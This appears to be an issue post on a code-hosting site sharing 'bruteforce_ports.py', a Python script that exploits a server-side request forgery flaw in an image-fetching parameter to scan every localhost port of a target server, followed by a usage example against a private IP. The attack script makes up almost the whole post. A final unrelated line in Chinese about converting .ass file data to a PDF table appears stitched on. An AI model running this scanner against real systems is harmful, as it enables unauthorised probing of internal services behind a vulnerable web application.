Open WDavid404 opened 1 year ago
bruteforce_ports.py: Do port scan against the target specific URL (in SSRF case)
the URL is http://{ip:port}/image?image=http://localhost:<scanport>
import requests
import sys
from urllib.parse import urlencode
def check_ports(ip, filter_text):
filtered_ports = []
open_ports = []
for port in range(1, 65536):
query_params = urlencode({'image': f'http://localhost:{port}'})
url = f'http://{ip}/image?{query_params}'
try:
response = requests.get(url)
if filter_text in response.text:
filtered_ports.append(port)
else:
open_ports.append(port)
print(f'Port {port}: OPEN')
except requests.ConnectionError:
print(f'Port {port}: Connection failed')
print("\nSummary:")
print(f"Total Ports Scanned: 65535")
print(f"Open Ports: {len(open_ports)}")
print(f"Filtered Ports (containing '{filter_text}'): {len(filtered_ports)}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python script.py <IP> <Filter Text>")
sys.exit(1)
ip = sys.argv[1]
filter_text = sys.argv[2]
check_ports(ip, filter_text)
Usage: python3 bruteforce_ports.py 192.168.123.113:8080 "Connection refused"
从ass文件里提取想要的信息,并转换成pdf表格